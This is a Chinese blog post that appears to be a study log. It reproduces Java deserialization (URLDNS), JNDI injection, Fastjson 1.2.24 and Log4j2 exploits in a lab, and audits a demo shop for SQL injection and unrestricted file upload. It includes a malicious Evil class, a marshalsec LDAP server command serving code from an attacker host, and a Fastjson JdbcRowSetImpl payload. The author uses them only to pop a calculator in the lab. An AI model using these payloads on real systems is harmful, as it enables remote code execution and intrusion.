当前位置: 首页 > news >正文

java审计进阶

1、分析研究java反序列化漏dong原理并了解URLDNS链触发过程

在Java中,序列化/反序列化操作主要由 java.io.ObjectOutputStream.writeObject(Object) 方法和
java.io.ObjectInputStream.readObject()方法实现;
在实际开发中,更多是通过实现Serializable接口并重写readObject()方法对自定义类对象进行反序列化,以完成更多操作。

嗯实验代码如下:

再获取一个domain

进入ysoserial程序目录下,利用命令生成data.ser文件

java--add-opens java.base/java.net=ALL-UNNAMED-jarysoserial.jar URLDNS"http://ef9ee9ae.log.dnslog.pp.ua.">data.ser

把data.ser放到项目代码目录,然后运行代码,读取data.ser并反序列化。看到dnslog回显,如下图

2、JNDI注入漏dong原理分析复习

我们来看一下ldap的

先打开jndi,启动JNDI-Injection-Exploit

java-jarNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-A127.0.0.1-Ccalc

原代码如下:



修改一下client.java的uri的赋值,也是基于lookup()方法可控,运行弹出计算器

3、Fastjson 反序列化漏dong复习
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。fastjson是目前java语言中最快的json库,其功能完备且使用简单,因而使用非常广泛。自fastjson在1.2.24版本爆出第一次漏dong到至今,有着多次的安全补丁更新和绕过。

Fastjson入口类是 com.alibaba.fastjson.JSON,主要的 API 是toJSONString( ),parse( )和parseObject( )。
当parse进行反序列化时,如果json字符串中有*@type* ,会自动执行指定类中相对应属性的setter方法,并且会转换为*@type* 指定类的类型
而parseObject进行反序列化时如果json字符串中有*@type* ,会自动执行指定类的setter和getter方法,并且转换为*JSONObject* 类


经过安全研究人员分析,目前主要存在三种利用方式:JNDI注入、TemplatesImpl 加载字节码、BCEL加载字节码。fastjson反序列化漏dong前后经过官方修复,又不断的被研究人员绕过,导致多个版本存在漏dong,但是最初版本1.2.24最为经典,这里以JNDI注入为例深入分析利用过程。


试试啊。首先受害者这里需要一个恶意类如下

importjava.io.IOException;publicclassEvil{publicEvil()throwsIOException{Runtime.getRuntime().exec("calc");}}

javac编译此类,我们全程用jdk1.8,这是fastjson漏dong的基本
在编译后得到的.class文件的存放目录创建一个http服务器python -m http.server 8000,此时访问该机ip的8000端口,即可看到Evil.class文件
接着在gong击机启动一个恶意的lDAP服务器,如下

java-cp.\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.40.129:8000/#Evil 1099

接着构建恶意json,其中localhost替换为监听1099端口的ip,就是gong击方的ip受害者引入fastjson
使用JSON.parseObject()函数将json文本转Java对象,且函数内的json文本内容可控,给该函数传入我们的恶意json,如下

importcom.alibaba.fastjson.JSON;publicclassMain{publicstaticvoidmain(String[]args){Stringtext="{\n"+"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"+"\"dataSourceName\":\"ldap://192.168.31.156:1099/Evil\",\n"+"\"autoCommit\":true\n"+"}";JSON.parseObject(text);}}

执行此代码就会在受害者方弹出计算器

方式二:gong击方利用其它小工具,如下图

修改main中的json文本的dataSourceName的值,执行也会弹出计算器

4、log4j2 jndi注入漏dong复习
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。

略去一些非关键流程,日志信息最终会进入MessagePatternConverter.java 文件的format方法,当日志信息中出现 "KaTeX parse error: Expected '}', got 'EOF' at end of input: …主要作用就是提取出日志信息中的{}信息,并根据内容调用。最终在JndiLookup.java中触发漏dong

5、搭建迷你天猫商城并复现fastjson、log4j2组件漏dong和sql注入和文件上传漏dong
首先搭建商城,如下图

项目中使用了mybatis那么全局搜索${

去UserMapper.xml,步步深入看到admin/user/{index}/{count}接口和String类型orderBy,基本上确定了sql注入,验证一下

文件上传啊,直接搜素关键字
去第一个文件,这是上传用户头像无限制和校验,那么直接去上传其它测试,比如jsp和exe成功


fastjson啊,搜索json.parse

去第一个,审计代码得知这是购物车结算生成订单时的状态

那访问购物车并点击“去结算”,抓包得到相关参数

修改orderItemMap字段值,添加{“@type”:“java.net.Inet4Address”,“val”:“zyzbdqgb.dns.adysec.com”},点击发送,访问NDSLog地址,也可以看到获取到回显信息。


log4j2啊

搜索关键字logger.info,还是去这个文件上传,这是用户头像上传接口

logger.info里是文件名赋值,那么我们修改文件名为gong击语句,便可触发log4j2漏dong。我们先启动监听

接下来找到用户头像修改的地方,上传图片,抓包修改文件名为gong击语句,点击发送,即可弹出计算器

http://www.jsqmd.com/news/570191/

相关文章:

  • Kimi-VL-A3B-Thinking多场景应用:高校试题解析、屏幕截图问答、PDF长文档理解
  • 3分钟搞定!Windows电脑直接安装Android应用的终极方案
  • GPT-SoVITS WebUI 终极指南:5分钟快速上手一站式语音合成解决方案
  • Phi-4-mini-reasoning惊艳效果:数学归纳法类题目(如数列通项证明)分步回应
  • 保姆级教程:从LoRA微调到模型合并,手把手带你用XTuner打造专属AI助手
  • 2026年广东液体硫酸铝市场透视:五家实力供应商深度解析与选择指南 - 2026年企业推荐榜
  • NCNN+OpenCV+Vulkan三件套:Windows环境下的深度学习加速实战教程
  • MySQL连接报错2002?5分钟搞定socket文件缺失问题(附详细排查流程)
  • 2026企业云电脑实战横评:从性能到安全,四款产品谁更懂你的业务场景?
  • 不止是收藏:用Infinity新标签页和Speed Dial 2,把你的Chrome主页打造成个人效率仪表盘
  • Visual C++ Redistributable组件管理与系统优化实战指南
  • m4s-converter:打破B站缓存限制,永久保存珍贵视频内容
  • [LibTorch Win] 如何选择适合你CUDA版本的LibTorch
  • Hotkey Detective:Windows热键冲突终极解码器,让失窃快捷键无处遁形
  • 使用VSCode调试Qwen-Image-Edit-F2P模型的Python代码
  • 2026年分析仪直销厂家推荐分析,光谱仪手持/手持贵金属分析仪/合金分析仪/贵金属分析仪/分析仪,分析仪直销厂家选哪家 - 品牌推荐师
  • 抖音批量下载终极指南:3分钟搞定无水印视频和音频提取
  • 抖音音频高效提取实战指南:从3小时到15分钟的效率革命
  • 从零构建:基于GStreamer与WebRTC的嵌入式音视频对讲系统
  • CentOS 8停服后,用Rocky Linux 9 + LNMP(Nginx 1.24, PHP 8.2)搭建WordPress 6.6.2的完整迁移指南
  • 耦合详解-模块
  • LeetCode 206. 反转链表 详细技术解析(迭代+递归双解法)
  • Web Serial API实战:5分钟为你的Vue/React前端项目添加串口设备控制面板
  • 瑞祥商联卡回收价格如何,回收揭晓正规平台 - 京回收小程序
  • DeepSeek-R1-Distill-Llama-8B服务化部署:基于MindIE的高并发推理方案
  • ai赋能node.js开发:让快马平台智能生成电商购物车业务逻辑代码
  • 别再只会做循迹小车了!用TCRT5000红外传感器DIY一个智能防溢垃圾桶(附Arduino代码)
  • Qwen3-ASR-1.7B惊艳效果:自动识别中英文技术文档朗读中的公式/代码块
  • 5个实用功能让你的Mac微信焕然一新:WeChatExtension插件完全指南
  • 从H2O到OmniH2O:人形机器人遥操作的技术哲学与工程实践